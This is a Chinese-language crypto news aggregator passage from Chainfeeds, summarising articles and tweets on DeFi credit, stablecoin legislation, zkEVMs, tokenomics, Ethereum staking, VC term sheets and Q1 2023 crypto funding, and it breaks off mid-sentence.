    Chainfeeds 导读： Web3Caff Research 研究员 samoi.eth 发布 DeFi 信用借贷解决方案研报，探讨了当前的 DeFi 生态由于缺少信用体系造成的发展瓶颈，并引入了一个基于 ZK-DID 的链上信用体系「RWC 威慑模型」，即通过监管备案的 KYC 信息约束用户行为。 文章来源： https://research.web3caff.com/zh/archives/7673 文章作者： samoi.eth 观点： samoi.eth：RWC 代表 Real World Credit（现实世界信用），「RWC 威慑模型」即通过自行在头顶悬挂一柄达摩克利斯之剑，向他人证明自己的信用。诚实交易时以零知识证明技术保护隐私，发生 Rug 等作恶行为时，自动向现实世界司法部门发送个人信息及作恶证据，实现现实世界的追责。 内容来源 samoi.eth：DeFi 的信用借贷确几乎是空白，因为我们缺乏一个链上信用评估体系，导致现在绝大部分的借贷只能使用超额抵押机制。最简化的威慑模型，就是现实 KYC 信息 → ZK-DID → 链上钱包的映射过程。备案的 KYC 信息就是悬在头顶的达摩克利斯之剑，向他人展示更高的信用；而 ZK-DID 则确保不透露非必要的信息，保护了隐私。 内容来源 samoi.eth：链上信用体系建立初期，不应当回避中心化解决方案，这可能是必由之路。这样的链上信用模型建立后，可以解决以下问题：1. 隐私；2. 现实世界高信用个体入场；3. 信用闪电贷。 内容来源  ( 13 min )
    【英文长推】美国众议院金融服务委员会最新稳定币立法草案解析：DAI 向左，USDC 向右？
    Chainfeeds 导读： 美国众议院金融服务委员会上传了一份长达 73 页的关于稳定币、数字美元（CBDC）的讨论草案。加密 KOL Ryan Berckmans 对其中稳定币部分的内容进行了解读，他认为该草案将不利于 DAI、LUSD、RAI 等去中心化稳定币在美国的发展，但将利好 USDC、ETH 等「许可的」稳定币和支付方式的发展。 文章来源： https://twitter.com/ryanberckmans/status/1647421596141756417 文章作者： Ryan Berckmans 观点： Ryan Berckmans：TLDR：去中心化的稳定币在美国非法，包括 DAI、LUSD、RAI 等；他国稳定币在美国非法，界定了稳定币的国家边界；我认为 ETH 作为一种合法和去中心化的支付方式，会有很大的发展；4. 有执照的稳定币，例如 USDC，将成为巨大的赢家，并被允许直接进入美联储账户。【原文为英文】 内容来源 Ryan Berckmans：该草案规定：在美国提供未经许可的稳定币是非法的，最高可处以 100 万美元的罚款和 5 年的监禁。该法案对「稳定币」的定义非常广泛，包括 DAI、LUSD、以及 RAI 这样的浮动稳定币，甚至包括他国的准稳定币，只要它们被设计成可以赎回相对固定的「货币价值」。【原文为英文】 内容来源 Ryan Berckmans：该草案启动了一项关于 CBDC 的官方研究。该草案允许稳定币在某些情况下以被保险的存款为抵押。该草案允许稳定币经营者直接关联美联储（例如，Circle 可以在美联储开设账户）。该草案对「支付系统」进行了广泛的定义，但并没有禁止或许可 DeFi。【原文为英文】 内容来源  ( 2 min )
    无许可的合作企业：解读 Smart Token Labs 链下 NFT 方案
    Chainfeeds 导读： Smart Token Labs 联合创始人兼 CEO Victor Zhang 分享了基于 NFT 搭建并可进行集成的创新型合作伙伴系统，并结合该方案在体育行业、活动行业和客户忠诚度计划行业等的实际应用场景，展示了链下 NFT 方案如何实现用户拥有真正的所有权和自我托管。 文章来源： https://mirror.xyz/0xCDE42308896Cf05b590276d47a324A93379F9104/ujZSulZ_-3ur9idzALQUmhJ6glwx0cJCtWlsQn0PuHg 文章作者： Victor Zhang（Smart Token Labs 联创兼首席执行官） 观点： Victor Zhang（Smart Token Labs 联创兼首席执行官）：我们提供的是一个非常 Web3 的解决方案，即用户将有真正的所有权、自我托管。与此同时，用户还可以获得非常棒的使用体验，就比如，用户可以用已有的渠道进行代币交互，比如通过 email/sms ，全过程中用户不需要使用加密钱包，且能有更好的隐私性和安全性。 内容来源 Victor Zhang（Smart Token Labs 联创兼首席执行官）：这个方案背后的技术主要是 Attestation 和由一组工具组成的 Smart Layer。Attestation 是用来实现链下 NFT 的，它是一个带有发行方数字签名的密码学证明，用户不仅可以用它获得品牌方的产品服务，也可以在任何第三方中使用。「用户端集成」避免了 PII 数据出现共享的问题，并极大的降低了集成的成本，集成方越多，其优势就越明显，也更加容易各方使用。 内容来源 Victor Zhang（Smart Token Labs 联创兼首席执行官）：这样的由用户自己掌控的可验证信息的客户忠诚度计划诞生出了一个概念 Open Loyalty ，即用户可以决定谁有权利验证他的相关信息并给他提供服务，整个服务市场的内容全开放的。我们相信通过提供这类解决方案，链下 NFT 和 Smart Layer 能够让 Web3 技术实现更大规模的采用，给实体经济创造更多真实的价值，推动真正的所需的增长和互动。 内容来源  ( 5 min )
    【英文长推】流动性集中是福也是祸，解读基于 Trader Joe 的流动性管理解决方案：SteakeHut
    Chainfeeds 导读： 流动性集中可以为交易者带来良好的用户体验，但波动来袭时，流动性必须进行调整，对于 LP 手动及时操作几乎是不可能的。SteakeHut 则提供了解决方案。加密 KOL Fungu Alpha 对该解决方案进行解读，并分析其高 APR、代币经济学和路线图。 文章来源： https://twitter.com/fungialpha/status/1647679764352864256 文章作者： Fungi Alpha 观点： Fungi Alpha：目前有几个因素对 JoeV2 有利：1）主导着 Avalance；2）在 Arbitrum 上的影响力不断增加；3）现在在 BNB 链上提供急需的资金效率。随着 JoeV2 的持续增长，流动性管理将变得至关重要。使用 SteakHut Liquidity，用户可以将代币存入流动性容器（特定价格范围）。这基本上使流动性管理过程自动化以留在相关区域，最重要的是，获得尽可能多的收益。【原文为英文】 内容来源 Fungi Alpha：其不仅提供解决方案，用户还能获得绝对报酬，高 APR 来自服务而不是排放。代币经济学：将 LP 代币存入 SteakHut 的用户将获得平台总收入的 80-97%，其余部分归抵押 SteakHut $STEAK 代币的用户所有。该团队非常清楚稀释的负面影响，因此最大供应量非常低，只有 500 万 $STEAK。考虑到这一点，支付给 $STEAK 质押者的所有奖励将以 $JOE 代币支付。【原文为英文】 内容来源 Fungi Alpha：到 2022 年底，约有 320 万 $STEAK 在流通。到 2023 年，每月仅释放约 0.3-0.5% 的供应量。如果这对你来说还不够稀缺，$STEAK 将跟随 $JOE 的脚步成为全链可替代代币 (OFT)。这意味着供应分布在 Avalanche、Arbitrum、BNB Chain 以及未来 JoeV2 最有可能扩展的任何其他地方。【原文为英文】 内容来源  ( 2 min )
    【英文】什么是 ZkEVM？如何能增强以太坊生态系统？
    Chainfeeds 导读： zkEVM 实现主要目标是将 ZKP 计算的支持扩展至智能合约的执行，并以此将 DApp 扩展到所有 EVM 兼容的协议。Manta Network 联合创始人 Kenny Li 撰文对什么是 zkEVM 及其分类进行了分析解读。 文章来源： https://academy.binance.com/en/articles/what-is-a-zkevm-and-how-can-it-enhance-the-ethereum-ecosystem 文章作者： Kenny Li 观点： Kenny Li：Rollup 是一种扩展解决方案，能够在主链外编译交易执行，并将数据作为一个单一交易发送至主网上。而 ZK Rollup 是一种使用 ZKP 技术的 Rollup，允许在不透露信息的情况下验证信息有效性，且由于无需向以太坊主网发布所有交易数据因此降低了 Gas 费用。EVM 是一个状态机，定义了从一个区块至另一个区块的新状态和有效状态的计算规则。zkEVM 默认不支持 ZKP，而 zkEVM 通过将以太坊环境复制为 ZK Rollup 来实现确保以太坊状态连续性的同时验证信息正确性的目标。由于 zkEVM 是基于 EVM 的，所以开发者能够轻松将以太坊 DApp 和智能合约转移至 zkEVM 上，而无需做 ZKP 开发工作。【原文为英文】 内容来源 Kenny Li：EVM 兼容意味着它提供了一个可以部署用 Solidity 编程语言编写 DApp 的环境。对于用户来说，任何 EVM 兼容链的地址都与他们的以太坊地址相同。目前，主要的 EVM 兼容链包括 BNB Chain、Avalanche C-Chain 和 Polygon。但 EVM 等价则意味着从 DApp 开发者角度而言 L2 Rollup 和 L1 的以太坊几乎相同。【原文为英文】 内容来源 Kenny Li：以太坊创始人 Vitalik Buterin 将 zkEVM 分为四种类型：类型 1 是完全等同于以太坊的 zkEVM，使得以太坊本身更具可扩展性，但缺点是 ZKP 效率极差，需要大量计算验证；类型 2 是完全等同于 EVM，在数据结构方面与以太坊不同，并删除了一些不适合 ZK 的堆栈操作。但其存在一个明显缺点就是效率低且昂贵；类型 2.5 和类型 2 类似，但 Gas 费用略低；类型 3 几乎等同于 EVM，在类型 2 的基础上，进一步牺牲了兼容性以提高 ZK 效率；类型 4 是高级语言等同于 EVM，具有最高的 ZK 性能，但兼容性相对较差。【原文为英文】 内容来源  ( 28 min )
    【英文长推】Token Unlocks 详解 Trader Joe 代币经济学及技术进展：Trader Joe 如何推动 AMM 领域创新发展？
    Chainfeeds 导读： 通过去中心化交易协议 Trader Joe 推出的集中性 AMM Liquidity Book V2.1，DeFi 收益率挖矿的未来似乎相当乐观。Token Unlocks 撰文对 Trader Joe 的功能、代币经济学、值得关注的技术进展及升级进行了分析解读。 文章来源： https://twitter.com/Token_Unlocks/status/1647640892298371073 文章作者： Token Unlocks 观点： Token Unlocks：JOE 是 Trader Joe 原生代币，旨在提供实用性、激励性及在生态系统内参与管理。代币经济学上，JOE 最大供应量上限为 50000 万，代币释放从 2021 年 7 月 3 日开始，至 2024 年 2 月 3 日结束。而通过流动性挖矿获得 JOE 会在一段时间内逐步释放。JOE 持有者可以通过质押代币对提案进行投票。sJOE 是为质押用户提供在 DEX 上累积的交易费用份额，而 veJOE 则用于 V1 AMM 的释放共享，其在 V2 AMM 中也将获得新的效用，目前有 1500 万枚 JOE 被锁定在 veJOE 中。而 rJOE 质押目前已经不接受新的存款，可能会以其他形式回归。【原文为英文】 内容来源 Token Unlocks：传统的 AMM 会平均分配流动性，但 Liquidity Book 会为 LP 提供了选择特定价格范围的灵活性。其关键特征是为 AMM 提供去中性化借贷机制的「金库」的概念，且还将通过费用再分配激励流动性供应商及治理参与。Liquidity Book V2.1 则会开启收益率挖矿新时代，引入功能包括用于自动执行流动性策略的 Auto-Pools、用于收益率挖矿的 Autopool Receipts 及无需权限的资金池和复合费用。【原文为英文】 内容来源  ( 2 min )
    【英文长推】从 4 款 Web3 小游戏学习以有趣的方式打造 IP
    Chainfeeds 导读： 近期 Web3 小游戏正蓬勃发展，加密 KOL wale.swoosh 盘点了 4 个 Web3 小游戏，并分析总结它们打造 IP 的方式。 文章来源： https://twitter.com/waleswoosh/status/1647555315095797763 文章作者： wale.swoosh 观点： wale.swoosh：1）Dookey Dash，第一个在 NFT 领域引起轰动的小游戏。这是一款 Temple Run 类型的游戏，目标是在收集碎片以增加分数的同时尽可能长地生存。稀有 Sewer Pass 为用户提供了附加奖励。获得的分数越多，最后收到的 HV-MTL 盒子就越稀有。2）Claynosaurz，可能是目前 Solana 上排名第一的 NFT 项目，没有代币门槛，没有 Claynosaurz NFT 的玩家也可以玩游戏。该游戏以对战模式运行，因此你可以与其他玩家对战以获得虚拟货币，游戏剧情是逃离火山喷发的熔岩。【原文为英文】 内容来源 wale.swoosh：3）Chimpers 推出了名为 Chimpers Arcade 的免费迷你游戏，更像是经典的街机游戏。4）Imaginary Ones 几天前推出了名为「泡泡骑士（Bubble Rider）」，的免费游戏，与 Dookey Dash 类似，目标是尽可能地走得更远。就像有不同的 Sewer Pass 等级一样，拥有 Imaginary Ones NFT 可以让您在游戏中获得奖励。所以 Bubble Rider 是介于 Claynosaurz/Chimpers 免费游戏方法和 BAYC 的代币门槛进入之间的中间地带。【原文为英文】 内容来源 wale.swoosh：四个项目的相似之处：1）游戏的设计必须契合 IP。2）2) 游戏必须有趣。虽然奖励可以成为激励人们玩游戏的一部分，但如果游戏不好玩，这一切都无济于事。我认为 Web3 迷你游戏将来可以在我们的空间中发挥重要作用。不仅因为他们好玩，还因为他们帮助项目进一步开发自己的 IP。【原文为英文】 内容来源  ( 2 min )
    【英文长推】以太坊提款数据分析解读：这些误解你都了解吗？
    Chainfeeds 导读： Nansen 数据记者 Martin Lee 对以太坊提款机制及如何理解提款数据和需要关注的关键指标进行了分析解读，并提及了需要避免的一些数据误解。文章大部分数据均来自 Nansen 数据仪表盘。 文章来源： https://twitter.com/themlpx/status/1647588196535140352 文章作者： Martin Lee 观点： Martin Lee：以太坊部分提款每 2 至 5 天自动发生，全额提款不会自动发生。为了启用提款功能，验证者需要将他们的提款凭证前缀从 0x00 设置为 0x01。上海升级启动时，只有 40% 的验证者将其凭证设置为了 0x01，这个数字目前已经升至 82.3%，最终会因为每个验证者都希望能够提取累积奖励而达到 100%。【原文为英文】 内容来源 Martin Lee：常见误解：1）我个人最喜欢的也是最容易被误解的指标是存款和提款的关系，存款是发送至信标链合约的 ETH，提款是来自信标链的 ETH 和发送至钱包的应计奖励。我们应该看累积综合衡量 ETH 的流动性供应变化；2）提款量主要是由部分提款推动的，而关于在过去 24 小时内我们看到的数量可观的全额提款，主要是由于延迟的原因；3）Nansen 关于等待退出的验证者数据包括已经通过排队但尚未退出的验证者。【原文为英文】 内容来源 Martin Lee：4）了解谁在提款和提款数额一样重要，迄今为止全额提款的 ETH 受到了 Kraken 的严重影响，而 Lido 的验证者并没有大规模退出，只是在提取奖励；5）ETH 的去向目前暂没有追踪该数据的仪表盘，但从数据上看，LSD 是一个主要流入领域。【原文为英文】 内容来源  ( 2 min )
    学会如何阅读投资条款清单（Term Sheet），行内 VC 潜规则和条款整理
    Chainfeeds 导读： 前 Point72 员工 Ming Zhao 发布详细推文，整理行内 VC 潜规则和条款。涵盖业内项目方需要知道的各项微妙条款，这些条款影响着你的控制权、稀释、对利润的要求、能否接受收购要约。本推文中文版由加密 KOL 0xShinChan 进行编译。 文章来源： https://twitter.com/0xShinChannn/status/1647555454225223681 文章作者： Ming Zhao 观点： Ming Zhao：项目方目标打造出色的项目，VC 的目标实现最大投资回报率。在大多数情况下，双方的利益是一致的 —— 直到它们发生分歧。协议书阐明了：1）控制权；2）经济权。在公司从 0 到 1 的发展过程中，双方的权益将会得到明确。关键部分：估值总是人们谈论的第一件事 (也是唯一一件事)。但其他微妙的条款可能会让高估值的交易经济受挫。这些包括：清算优先权、参与权、投票权、转换、防稀释。 内容来源 Ming Zhao：规模（size）和估值（valuation）：规模指筹集的总资金，包括「领投」投资者分配的资金和跟投者的资金。估值也可以分为：前估值或后估值。前估值指的是不包括当前筹集的资金的公司价值。后估值指包括当前筹集资金后的公司价值。与估值相关的另一个更微妙的条款是「期权池」（英文是 option pool，为未来员工新发行的期权）。一般需要定义的两个事项为：1）池子大小（通常为 10-15％）；2）是否来自「投资前市值表」（只稀释团队）或「投资后市值表」（稀释团队和投资者）。 内容来源 Ming Zhao：清算优先权（Liquidation preference）在清算发生时，风投会在普通股东 / 团队之前获得资金 ：1 倍清算优先权意味着 VC 将收回原始投资，而 2 倍意味着 VC 将收回双倍。典型值：1 倍。参与（又称「双重获利」，double dipping）（非常不公平的条款），这使 VC 有权获得他们的清算优先权，并在普通股上按比例分享其余的增长。转换权（conversion rights）：将优先股转换成普通股的权利。典型比率：1-1。转换权有两种类型：1）强制性 / 自动性 （通常指在 IPO 时或当优先股占多数票数时）；2）可选性 （所有其他情况）。 内容来源 Ming Zhao：投票：该条款定义了公司行为需要哪些人（普通股还是优先股）进行投票。董事会席位（board seats），注意：导致创始人失去控制的第一条款 —— 要谨慎选择首席投资者，因为他们选择你的董事会成员。什么是「对创始人友善型的董事会」？在 A 轮融资时通常是「2+1」，即 2 名创始人和 1 名投资人（由领投人任命）。什么是略有不干净但比较普遍的安排？在 A 轮融资时通常是「2+2+1」，即 2 名创始人、2 名来自投资者和 1 名独立人士（由公司任命）。 内容来源  ( 2 min )
    【英文长推】工具推荐 | Arbitrum 治理数据追踪仪表盘
    Chainfeeds 导读： 加密研究员 oğuz 创建了一个追踪 ARB 治理基本指标的仪表盘，包括可投票的 ARB 供应量、委托人地址、委托数量及变化等数据。 文章来源： https://twitter.com/oguzthestoic/status/1647748640448864260 文章作者： oğuz 观点： oğuz：在代表可投票总供应量份额中，我们可以看到前 34 个地址持有 50% 的供应量，其中 TreasureDAO 持有 9.66% 的可投票供应量，olimpio 持有 8.39% 及 PlutusDAO 持有 6.72%。这不得不让人关注是否会产生权利中心化的问题。【原文为英文】 内容来源 oğuz：通过该工具，我们还可以看到代表投票供应和委托人每日变化，现在 ITU Blockchain 拥有 551 名委托人及 242000 枚委托 ARB。在委托人数增加的同时，投票供应量在逐步减少，说明有些委托人是 paper hands。最后的两个表格中，左边表格显示了当前委托人的地址及此前委托时间，右边的表格则能够看到改变委托的地址，目前有 32 个地址更改了其委托。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解读以稳定币形式接收 LSD 收益的协议：Lybra Finance
    Chainfeeds 导读： Lybra Finance 利用 LSD 提供的灵活性，使用户能够存入 $ETH 并铸造他们的超额抵押、产生收益的稳定币 $eUSD 。为用户引入了一种创新的方法来管理他们的收益。加密 KOL Emperor 撰推解析其协议原理、增益机制、维持稳定性的三种方法以及代币经济模型。 文章来源： https://twitter.com/flowslikeosmo/status/1647615856346791936 文章作者： Emperor Osmo 观点： Emperor Osmo：Lybra Finance 意识到一些用户希望从质押 $ETH 提供的收益机会中获益，同时又不想让自己暴露在其波动性中。这就是 $eUSD 的用武之地 —— 提供稳定性和收益。$eUSD 是由 $ETH 和 $stETH 以 150% 的比率支持的超额抵押稳定币。用户可以通过存入 ETH 或 stETH 来铸造 $eUSD 。只需持有即可赚取约 8% 的收益率。eUSD 可以在 DeFi 中使用。【原文为英文】 内容来源 Emperor Osmo：增益：当用户将 ETH 存入 Lybra 时，它会自动转换为 stETH。stETH 的价值会随着时间增加。stETH 产生的额外收入被转换为 eUSD。剩余部分以每年约 8% 的价格分配给 eUSD 的持有者。 $eUSD 旨在通过拥有以下四个属性来获利：1）稳定的价值储存；2）交换媒介（可在任何地方使用）；3）商定的记账单位（1 美元 = 1 eUSD）；4）延期付款标准（借贷）。【原文为英文】 内容来源 Emperor Osmo：Lybra Finance 采用超额抵押、清算机制和套利机会来确保 eUSD 的稳定性。每一个 $eUSD 都需要至少价值 1.5 美元的 stETH 作为抵押品。当 eUSD 价格偏离其 1 美元的锚定汇率时，用户可以通过两种方式利用这一优势：1）铸造更多的 eUSD 作为抵押品并出售以增加市场供应。2）从市场购买 eUSD 以兑换价值 1 美元的 $ETH /stETH。【原文为英文】 内容来源  ( 2 min )
    关于香港 Web3 形势的若干观点：时代背景、当代技术革命及货币金融
    Chainfeeds 导读： Solv Protocol 联合创始人孟岩就香港 Web3 新政背后的决策逻辑进行了简要概述，表示未来香港会出现一个以兑换、托管服务为主要内容的加密产业，中美双方对此都有需求，而关于其他类型的 Web3 创新，香港很难做大。 文章来源： https://myantokengeek.medium.com/%E5%85%B3%E4%BA%8E%E9%A6%99%E6%B8%AF-web3-%E5%BD%A2%E5%8A%BF%E7%9A%84%E8%8B%A5%E5%B9%B2%E8%A7%82%E7%82%B9-45dcb7dddf57 文章作者： 孟岩 观点： 孟岩：时代背景：1）当前世界的总体形势是正在走入一个新冷战阶段，时间 10–30 年，最有可能是 20 年左右；2）这是一个烈度不高、存在灰度的冷战；3）新冷战主要的战场发生在科技创新和实体经济上；4）美中两国各自存在风险点；5）在一个双方都不够坚决、烈度有限、又各自有弱点和风险点的冷战，为彼此保留较大的沟通管道、协调机制、回旋余地和勾兑空间。 内容来源 孟岩：当前技术革命：1）美国正在发生新一轮科技革命的核心技术包括强人工智能、无人驾驶运载工具、机器人等；2）科技革命若转化为新产业革命，则能决定竞争胜负；3）中国将尽全力跟踪科技革命。 内容来源 孟岩：货币金融方面的一些看法：1）当前美元加息回流，在全球的地位确实正在下降；2）中国在这个时间点上加速人民币国际化，确实能取得事半功倍的效果；3）区块链的作用让其成为下一代科技革命中的关键技术；4）区块链的竞争主要聚焦在制度创新上；5）数字资产市场难以在大国内发展，但会在大国竞争的交界地带找到温床；6）中美竞争的交界地区将出现活跃的区块链数字经济产业，因此新加坡、香港的 Web3 双城记还将持续上演；7）香港 Web3 以交易为导向；8）香港 Web3 仍在试点期，有反复可能；9）新加坡 Web3 策略更稳健；10）虽然香港和新加坡都不太容易做出世界级的 Web3 社交、游戏等 2C 类项目，但会积极支持 RWA 发展。 内容来源  ( 3 min )
    【英文长推】币价疯涨，一文解读专注于 DeFi 原语的 L1: Injective
    Chainfeeds 导读： Injective 是第一个以 DEX 为中心的 L1 区块链，基于 Cosmos SDK 构建，允许开发人员在其上构建去中心化永续合约、期货、现货交易协议，此后推出了多个金融原语并筹集了大量资金。特征包括：1）针对 DeFi；2）互操作性和兼容性；3）使用 CosmWasm 构建 dApp；4）直观的开发者体验。【原文为英文】 文章来源： https://twitter.com/thelearningpill/status/1647215710660341763 文章作者： The Learning Pill 观点： The Learning Pill：Injective 是第一个以 DEX 为中心的 L1 区块链，基于 Cosmos SDK 构建，允许开发人员在其上构建去中心化永续合约、期货、现货交易协议，此后推出了多个金融原语并筹集了大量资金。特征包括：1）针对 DeFi；2）互操作性和兼容性；3）使用 CosmWasm 构建 dApp；4）直观的开发者体验。【原文为英文】 内容来源 The Learning Pill：Injective Hub 是用户参与 Injective 生态系统的途径，有钱包、桥接、质押、拍卖、保险和治理功能。代币经济模型：初始供应量为 1 亿 $INJ，目标通胀率为 7%，随后将逐渐降至 2%，采用结合代币拍卖和销毁的通缩机制。$INJ 持有者可以保护网络并通过质押他们的代币获得奖励，拥有提议和投票的治理权，$INJ 用于支付交易费用，或用作衍生品市场的保证金和抵押品 ，拍卖投标人需要使用 $INJ 出价。【原文为英文】 内容来源 The Learning Pill：生态系统涵盖数据、元宇宙、稳定币等领域。 Injective 已在 2021 年和 2022 年从知名投资者那里筹集了大量资金，在 2021 年 一轮融资中筹集了 1000 万美元，Mark Cuban、Pantera Capital、BlockTower、Hash Ventures 等参投。2022 年获得了 Jump 领投的 4000 万美元融资。还有一支 1.5 亿美元的基金用于与合作伙伴合作的 Injective 生态系统计划。【原文为英文】 内容来源  ( 2 min )
    Hash Global 创始人 ：关于 Web3 的价值投资实践
    Chainfeeds 导读： Hash Global 创始人 KK 在 2023 年香港 Web3 嘉年华期间就 Web3 价值投资范式变迁进行了经验分享，该演讲由登月工坊 Moonshot Commons 的 Yifan 及 Kevin 编译发布。 文章来源： https://mp.weixin.qq.com/s/1lOdmWD0E94bCERk0LMBHw 文章作者： KK 观点： KK：我们在投资领域摸爬滚打多年，总结了三条原则：1）新事物的「价值」不会被当时的主流价值判断人群认可，甚至会被否定；2）新事物的价值评估框架的形成需要和新事物本身互相促进，并共同演化；3）新事物的估值模式的市场共识的形成需要时间，这个过程机会巨大。 内容来源 KK：Web3 投资实践：首先比特币市场已经有很多估值模式，S2F 模型，Commodity 模型等。而以太坊转 POS 共识机制后，已经成为了一个总量在不断减少的货币。BNB 是 Binance 的平台币，其估值挑战没有比特币和以太坊大。对于 NFT 领域我们内部也做了新的估值方法，被称为 DRIC 模型，即从 Drop、Right、IP 和 Community 四个价值维度加总评估。 内容来源 KK：Web3 的一级投资和传统 VC 也很不一样。项目融资主要通过代币融资和股权融资。我们认为用团队加投资人的代币量的比例来折算股权融资的对应估值常有用。除了 VC 投资外，我们还管理运作一只二级市场基金。这个基金我们完全是按照股票基金的投资运作方法，去投资各个赛道的龙头项目。我们从五个维度定性分析价值，再从各个商业角度去定量分析代币价值。 内容来源  ( 33 min )
    【英文】Bankless：L1 叙事，一文解读波卡的基础设施及项目
    Chainfeeds 导读： Polkadot 与其他区块链不同，是优先考虑互操作性的跨链平台。由于其专注于通过桥接技术实现跨链通信，比特币和以太坊等其他 L1 的用户能够轻松地与 Polkadot 生态系统集成。Bankless 撰文介绍 Polkadot 的基础设施及项目，并分析了 Polkadot 平行链。 文章来源： https://medium.com/bankless-dao/alternative-l1s-polkadot-67f8b5ceba4 文章作者： 0xzh 观点： 0xzh：Polkadot 的架构由使用 Substrate 软件开发工具包创建的主链（中继链）和子链（ parachains）组成。DeFi 可组合性（不同协议之间的无许可交互）依赖于共享安全性。中继链（交易最终确定的地方）和平行链之间的关系使 DeFi 可组合性在 Polkadot 上成为可能。Polkadot 试图通过构建在其基础设施上的独特用例来提供一种新的互操作性（跨链交互）方法。使用运行时（runtime）模块，团队可以在 Moonbeam、Plasm 或 Edgeware 等平行链上进行构建。【原文为英文】 内容来源 0xzh：Kusama 被引入作为测试网和主网之间的中间地带，用于测试将在 Polkadot 上发布的产品。Kusama 可以在没有分叉的情况下升级链。这使得 Polkadot 区块链及其子链的创新速度更快。流动性质押是 Polkadot DeFi 生态系统的另一个关键特征，使其不同于其他 DeFi 生态系统。通过流动性质押，区块链上去中心化应用程序的用户可以质押加密货币并以合成代币的形式获得即时流动性，而无需担心锁定期。【原文为英文】 内容来源 0xzh：可组合跨链虚拟机（Composable XCVM）提供了跨不同的 L1 和 L2 网络使用智能合约的接口。Polkadot 上的拍卖机制则有助于减少生态系统中诈骗项目的数量。Cubic Vault 可以比作没有银行家的银行。该基础设施不仅可以保护资金，还可以为建设者为金库用户创建新的去中心化金融解决方案提供所需的保证金。【原文为英文】 内容来源  ( 14 min )
    【英文长推】以太坊单独质押 VS. LSD 乐高：比较 20 年内的以太坊质押奖励
    Chainfeeds 导读： 加密研究员 eridian.eth 通过自定义初始条件（质押大于、等于、小于 32 枚 ETH）比较 20 年的 ETH 单独质押及 LSD 乐高的质押奖励，结果显示如果质押 32 枚 ETH，短期内单独质押会产生更多回报，但 LSD 在第 6 年的时候超车；如果质押不足 32 枚 ETH，那么第一年开始 LSD 的 APR 就高于单独质押。 文章来源： https://twitter.com/eridianalpha/status/1647367943724978181 文章作者： eridian.eth 观点： eridian.eth：LSD 可以每天进行再投资，但单独质押者必须等到他们为下一个验证器积累 32 ETH 的奖励（显示的所有内容均为平均值 / 或估计值）。第一个结果很有趣：质押 32 ETH ，单独质押 APR 为 4% ，LSD APR 为 4% ，LSD 的费用为 10%，这表明短期内单独质押会产生更多回报，但 LSD 在第 6 年的时候开始超车。【原文为英文】 内容来源 eridian.eth：如果一开始质押不足 32 枚 ETH，那么第一年开始 LSD 的 APR 就高于单独质押。如果质押更多 ETH，比如 128 枚，对于单独质押者来说，奖励几乎总是更高（除了第 6 年，LSD 偷偷领先），这是有道理的，因为下一个验证器赚取 32 ETH 奖励的速度更快，因此整体资本效率更高。到目前为止的例子都使用相同的 APR，但是当你有少量 ETH（例如单个验证器）时，APR 可能低于大型 LSD 协议。【原文为英文】 内容来源 eridian.eth：即使 LSD 带来的 APR 优势很小，也比单独质押产生更大的回报。最后一个例子，如果你没有 32 个 ETH 怎么办？启动一个完整的验证器是不够的（尽管有些选择需要少于 32 ETH ），因此 LSD 可能是实现 32 ETH 目标的一个很好的中间步骤。【原文为英文】 内容来源  ( 2 min )
    盘点 11 家 ETHGlobal Tokyo 黑客松决赛项目：ZKVoiceKey、BAILOUT、AokiApp NFT......
    Chainfeeds 导读： 日本东京举办的 ETHGlobal Tokyo 主题黑客松于 4 月 16 日正式落幕，最终筛选出了 11 家决赛入围项目，涉及钱包、NFT、DeFi、社交、支付、安全等多个领域。Odaily 星球日报作者 Azuma 对这 11 家入围项目进行了简单概述。 文章来源： https://www.odaily.news/post/5186458 文章作者： Azuma 观点： Azuma：1）ZKVoiceKey：提供了一种通过语音恢复钱包私钥的新防范，采用 Fuzzy Commit 和 ZKP 以避免将语音信息直接存储在区块链上；2）BAILOUT：用户可以将一定数量的资产从 EOA 钱包转移至合约钱包，且能够通过 EOA 钱包来签署交易，紧急情况下甚至支持 Google Signin 签署交易，支持社会恢复功能；3）AokiApp NFT：开发了一种基于「主成分分析 (PCA) 」的图片压缩方法，所有的文件内容会在压缩之后完全保存于链上； 内容来源 Azuma：4）Octoplorer：用户可以输入自然语言来查询区块链上的各类数据，以表格、图像和图形等格式获取人类可读的答案，适用于以太坊和 Polygon；5）Myna：可以为每个 My Number Card 生成符合 EIP-4337 的合约钱包，且会为用户抽象掉其中的钱包创建过程；6）probablynothing.works：允许 Web3 社区从广告中获得收入的协议；7）AbswapX：一个为 DeFi 启用限价订单和预定策略的自动化模块，现部署在 Gnosis Chain 和 Polygon Chain 上； 内容来源 Azuma：8）Tanuki：需信任的钱包活动评分协议，使用 ZKP 来读取链上历史活动以计算钱包分数；9）YORU：兼备隐私保护功能的社交支付工具，利用账户抽象和隐形地址来进行代币转移；10）SuperPlay：用户友好游戏平台，提供无需购买资产及支付 Gas 费的 Web3 游戏试玩体验；11）POMPoarding：简易 Web3 社区协同工具，允许社区成员通过简单的问答组合起来，无需事先了解加密货币或钱包。 内容来源  ( 7 min )
    2023 一季度加密投融资报告：市场概况、热门趋势与投资机构表现
    Chainfeeds 导读： 2023 年第一季度加密投融资市场具体表现如何？当下市场最热门的趋势有哪些？投资机构们的出手频次及偏好如何？链捕手结合旗下数据平台 Rootdata 统计数据对此进行了全面分析。 文章来源： https://www.chaincatcher.com/article/2091100 文章作者： 西昻翔及谷昱 观点： 西昻翔（链捕手）：RootData 数据显示，2023 年 1 至 3 月，加密行业共披露 309 起项目融资事件，融资总金额达到 23.17 亿美元，远低于 2022 年 1 至 3 的 124.8 亿美元，同比下降约 81%。总而言之，该季度融资笔数和融资金额均创 2021 年以来新低。从各赛道融资分布来看，基础设施赛道的融资笔数和金额均为九大赛道中最高，平均单笔融资额超过 1000 万美元。该赛道的热门融资项目包括模块化区块链、ZK 概念等。位列第二的是 DeFi 赛道，紧随其后的游戏和社交娱乐赛道。 内容来源 西昻翔（链捕手）：2023 一季度加密投融资市场趋势分析：1）以太坊质押协议及服务：一季度 Unamano、Rocket Pool、Obol Network、Diva、Ether.Fi 等质押协议和服务先后获得融资；2）AI：包括 Fetch.ai、FedML、Aspecta 等基于人工智能和机器学习的区块链平台相继获得大额融资；3）DeFi 衍生品：包括 Narwhal Finance、Vest Exchange 等衍生品；4）NFTFi：Midaswap、insrt finance 及 paprMEME 等纷纷获得融资；5）数据分析类产品：一季度获得投融资的包括 Helika、bitsCrunch 等；6）创作者经济：多个赛道诸多细分方向均有项目获得融资；7）模块化区块链：Caldera、dYmension 及 Sovereign 均获得规模较大的新一轮融资；8）一季度宣布完成融资的 ZK 概念项目包括 